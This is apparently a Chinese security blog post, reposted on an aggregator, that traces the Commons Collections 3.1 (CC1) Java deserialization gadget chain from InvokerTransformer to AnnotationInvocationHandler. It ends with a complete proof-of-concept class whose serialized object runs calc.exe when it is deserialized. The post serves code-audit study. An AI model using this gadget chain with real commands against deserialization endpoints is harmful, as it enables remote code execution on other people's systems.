Java代码审计原生反序列化CC链跟踪分析

news2024/9/24 21:29:11

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog


在前一篇文章我分析了Commons Collections1链​​​​​​​,其中跟链的顺序是:source=>gadget=>sink,但如果站在漏洞挖掘的角度顺序是倒过来的:sink=>gadget=>source,即先找到造成命令执行的恶意类,然后通过该类倒一直倒推到可利用的反序列类。

本篇文章将按照sink=>gadget=>source的顺序,在挖洞的角度跟踪分析Commons Collections链

环境:Commons Collections 3.1 && jdk8u65

首先来到InvokerTransformer类,以下列出该类的构造函数和transform方法。

构造函数接收并设置三个参数:methodName、paramTypes、args

transform方法接收一个对象input,结合三个参数通过反射获取对象的类、方法,然后invoke调用执行(注意input不能为空)。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

试想若按照以下代码逻辑实例化一个invokerTransformer对象,然后调用transform方法不就相当于Runtime.getRuntime().exec("calc")弹出计算器吗?

Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

invokerTransformer.transform(r);

事实证明我们的猜想是正确的,如此一来便找到了sink执行点:InvokerTransformer#transform

由于InvokerTransformer类并不是可直接利用的反序列化类,所以还需要往前倒推,查找哪个类调用过transform方法。我们跟的是CC链,所以只需要关注Commons Collections 3.1包里的即可。

发现TransformedMap#checkSetValue方法调用过transform方法(正常情况下每个uasge都需要看)。

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

试想若控制valueTransformer为InvokerTransformer类对象,执行valueTransformer.transform(value)那不就相当于执行InvokerTransformer#transform方法吗?

首先观察到valueTransformer在构造方法TransformedMap中设置,但由于该构造方法是protected类型无法直接访问,所以继续找有没有其他public类型方法调用过该构造方法。

观察到decorate方法调用过该构造方法TransformedMap,由此想到可以利用decorate方法间接控制valueTransformer,即控制decorate方法的传参valueTransformer=new InvokerTransformer(),那么执行decorate方法就会触发构造方法设置valueTransformer为InvokerTransformer类对象。

此时,若执行valueTransformer.transformer() = new InvokerTransformer().transformer()。

大致流程:

当执行TransformedMap.decorate(map, null, new InvokerTransformer())
=>

会触发TransformedMap(map, null, new InvokerTransformer())
=>

会设置valueTransformer = new InvokerTransformer()
=>

若执行valueTransformer.transformer()
=>

等于执行new InvokerTransformer().transformer()

到这里我们已经控制了valueTransformer为InvokerTransformer类对象,但还没成功触发checkSetValue方法,而且checkSetValue方法是protected类型无法直接调用,所以还需继续往上查找哪个类调用过checkSetValue方法。

发现AbstractInputCheckedMapDecorator#setValue方法调用过checkSetValue方法。

public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }

同理,若想要调用TransformedMap#checkSetValue方法,需控制parent为TransformedMap类对象。

此时若执行AbstractInputCheckedMapDecorator#setValue方法,就会触发执行parent.checkSetValue(value),等于执行new TransformedMap().checkSetValue(value),然后触发valueTransformer.transform(value),由于之前又控制valueTransformer为InvokerTransformer类对象,最终同执行new InvokerTransformer().transform(value),故又和sink点联系了起来。 

大致流程:

控制parent = new TransformedMap()
=>

当执行AbstractInputCheckedMapDecorator.setValue(Object value)
=>

会触发parent.checkSetValue(value)
=>

等于执行new TransformedMap().checkSetValue(value)
=>

会触发valueTransformer.transform(value)
=>

等于执行new InvokerTransformer().transform(value)

一般情况下,当继续往上找到的类重写的readObject方法里调用了前一个类的方法时,就是gadget结束。

比如这里继续查找哪个类调用过AbstractInputCheckedMapDecorator#setValue方法,发现AnnotationInvocationHandler#readObject方法里调用过。同理,此时应该控制var5=new AbstractInputCheckedMapDecorator(),才能调用AbstractInputCheckedMapDecorator#setValue方法,于是gadget结束同时也找到了source。

总结:无非就是让前面调用方法的类发生更改,控制其等于后面的类,让其调用后面类的方法 。

最后附上Poc代码:

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Poc {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类(整个Runtime执行)
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformer
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, outerMap);


        //漏洞测试
        serializableObject(o);
        unserializableObject("ser.bin");
    }


    public static void serializableObject(Object o) throws Exception {
        FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
        fileOutputStream.close();
    }

    public static void unserializableObject(String filename) throws Exception{
        FileInputStream fileInputStream = new FileInputStream(filename);
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        objectInputStream.close();
        fileInputStream.close();
    }
}

学到这部分说实话还是比较吃力的,很多东西没有嚼透, 原因还是我的开发基础有点拉跨,打算等后面再重新好好学一下这部分。如果文章有错请多多指正,谢谢各位师傅支持!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1408839.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【jetson笔记】vscode远程调试

vscode安装插件 vscode安装远程插件Remote-SSH 安装完毕点击左侧远程资源管理器 打开SSH配置文件 添加如下内容&#xff0c;Hostname为jetson IP&#xff0c;User为登录用户名需替换为自己的 Host aliasHostName 192.168.219.57User jetson配置好点击连接&#xff0c;控制台输…

阿里云推出第八代企业级实例 g8i:AI 推理性能最高提升 7 倍、可支持 72B 大语言模型

云布道师 1 月 11 日&#xff0c;全球领先的云计算厂商阿里云宣布推出第八代企业级通用计算实例 ECS g8i&#xff0c;这也是国内首款搭载第五代英特尔至强可扩展处理器&#xff08;代号 EMR&#xff09;的云计算产品。依托阿里云自研的「飞天CIPU」架构体系&#xff0c;ECS g8…

【每日一题】3.LeetCode——相交链表

&#x1f4da;博客主页&#xff1a;爱敲代码的小杨. ✨专栏&#xff1a;《Java SE语法》 ❤️感谢大家点赞&#x1f44d;&#x1f3fb;收藏⭐评论✍&#x1f3fb;&#xff0c;您的三连就是我持续更新的动力❤️ &#x1f64f;小杨水平有限&#xff0c;欢迎各位大佬指点&…

Linux-共享内存

文章目录 前言一、system V共享内存申请共享内存挂载共享内存删除共享内存挂载删除共享内存 二、示例代码三.运行效果 前言 在这之前我们已经学习了两种进程间通信方式&#xff1a;匿名管道和命名管道。 从我们之前的学习已经知道&#xff0c;想让多个进程间进行通信就需要让他…

重构改善既有代码的设计-学习(四):简化条件逻辑

1、分解条件表达式&#xff08;Decompose Conditional&#xff09; 可以将大块代码分解为多个独立的函数&#xff0c;根据每个小块代码的用途&#xff0c;为分解而得的新函数命名。对于条件逻辑&#xff0c;将每个分支条件分解成新函数还可以带来更多好处&#xff1a;可以突出条…

业余爱好-生物信息学/生物化学/物理/统计学/政治/数学/概率论/AI/AGI/区块链

生物信息学 高等数学—元素和极限-实数的定义高等数学—元素和极限-实数的元素个数高等数学—元素和极限-自然数个数少于实数个数高等数学—元素和极限-无穷大之比较高等数学—元素和极限-级数的收敛高等数学—元素和极限-极限的定义数学分析与概率论人工智能AI数学基础——全套…

深度学习——pycharm远程连接

目录 远程环境配置本地环境配置&#xff08;注意看假设&#xff01;&#xff01;!这是很多博客里没写的&#xff09;步骤1步骤2步骤2.1 配置Connection步骤2.2 配置Mappings 步骤3 配置本地项目的远程解释器技巧1 pycharm中远程终端连接技巧2 远程目录技巧3 上传代码文件技巧4 …

云手机与实体手机的对比

在数字化时代&#xff0c;云手机作为一种虚拟手机在云端服务器上运行&#xff0c;与传统的实体手机相比存在诸多差异。让我们深入探讨云手机与实体手机之间的区别&#xff0c;以便更好地了解它们的特点和优势。 外观上的差异 实体手机具有实际的外观和重量&#xff0c;占据一定…

Java基础进阶02-xml

目录 一、XML&#xff08;可拓展标记语言&#xff09; 1.学习网站&#xff1a; 2.作用 3.XML标签 4.XML语法 5.解析XML &#xff08;1&#xff09;常见解析思想DOM 6.常见的解析工具 7.DOM4j的使用 8.文档约束 &#xff08;1&#xff09;概述 &#xff08;2&#xf…

一种很新的阶乘

D-一种很新的阶乘_浙江机电职业技术学院第八届新生亮相赛&#xff08;同步赛&#xff09; (nowcoder.com) 首先可以看出[1,n]中的数a的次方在初始情况下是n - a 1&#xff0c;所以我们可以初始化一个w数组&#xff0c;w[i]存储的值为i的次方&#xff0c;注意w[i]的数据类型必须…

Spring Security架构

文章目录 过滤器回顾DelegatingFilterProxyFilterChainProxySecurityFilterChainSecurity Filters打印Security Filters将自定义过滤器添加到过滤器链 Handling Security ExceptionsSaving Requests Between AuthenticationRequestCachePrevent the Request From Being Saved R…

1.24号c++

C绪论 c是c语言的扩充&#xff0c;C包含了C的所有属性&#xff0c;换一句话说&#xff0c;C语言在C中都合法。 C语言编程思想&#xff1a;面向过程 c编程思想&#xff1a;面向对象 可以说在C中一切皆对象。 c的三大属性&#xff1a;封装&#xff0c;继承&#xff0c;多态。…

gin介绍及helloworld

1. 介绍 Gin是一个golang的微框架&#xff0c;封装比较优雅&#xff0c;API友好&#xff0c;源码注释比较明确&#xff0c;具有快速灵活&#xff0c;容错方便等特点 对于golang而言&#xff0c;web框架的依赖要远比Python&#xff0c;Java之类的要小。自身的net/http足够简单&…

DeadLinkHunter工具

一、背景 二月底的时候&#xff0c;提到一个文档中心的链接有效性问题&#xff0c;文档中心的某个超链接跳转后&#xff0c;页面内容是空的或者提示页面内容不存在。 分析一下可知&#xff0c;其实文档中心的每个页面都有很多不定位置、不定数量的超链接&#xff0c;每个超链…

JS进阶-解构赋值(一)

扩展&#xff1a;解构赋值时Js特有的一种处理数据的方式&#xff0c;在Java中没有处理数据的方式 知识引入&#xff1a; 思考&#xff1a;在js中&#xff0c;在没有学习解构赋值之前&#xff0c;我们是如何获取数组的内容的&#xff1f; 以上要么不好记忆&#xff0c;要么书写麻…

css实现右边边框分割线 渐变色,边框四角样式

分割线 代码 .data-item:first-of-type {border-right: 2px solid;border-image: linear-gradient(to top,rgba(0, 0, 0, 0.1) 0%,rgba(81, 110, 197, 0.76) 50%,rgba(0, 0, 0, 0.1) 100%)1;padding: 15px 0;}四角边框样式 代码 .chart-box {cursor: pointer;background: line…

SSM项目集成Spring Security 4.X版本(使用spring-security.xml 配置文件方式)

目录 前言 实战开发&#xff1a; 一、Spring Security整合到SSM项目 1. pom文件引入包 2. web.xml 配置 3. 添加 spring-security.xml 文件 二、Spring Security实战应用 1. 项目结构 2. pom文件引入 3. web.xml 配置 4. Spring 配置 applicationContext.xml 5. sp…

PCB【过孔】

1、钻孔的费用通常占PCB制板费用的30%到40%&#xff0c;过孔钻孔&#xff08;drill hole&#xff09; 钻孔周围的焊盘区&#xff0c;这两部分的尺寸大小决定了过孔的大小。过孔越小&#xff0c;其自身的寄生电容也越小。在高速电路中希望越小越好。孔内径原则上要求0.2mm&#…

C4.5决策树的基本建模流程

C4.5决策树的基本建模流程 作为ID3算法的升级版&#xff0c;C4.5在三个方面对ID3进行了优化&#xff1a; &#xff08;1&#xff09;它引入了信息值&#xff08;information value&#xff09;的概念来修正信息熵的计算结果&#xff0c;以抑制ID3更偏向于选择具有更多分类水平…

内网穿透、远程桌面、VPN的理解

最近在研究内网穿透的相关技术&#xff0c;然后回想起一些相关的技术&#xff0c;比如说要远程桌面公司的电脑&#xff0c;VPN连入内网等。然后想着在此处记录一下&#xff0c;各个的区别&#xff0c;这个纯粹是从技术层面的理解&#xff0c;此处不详细解释怎么去实现或者用什么…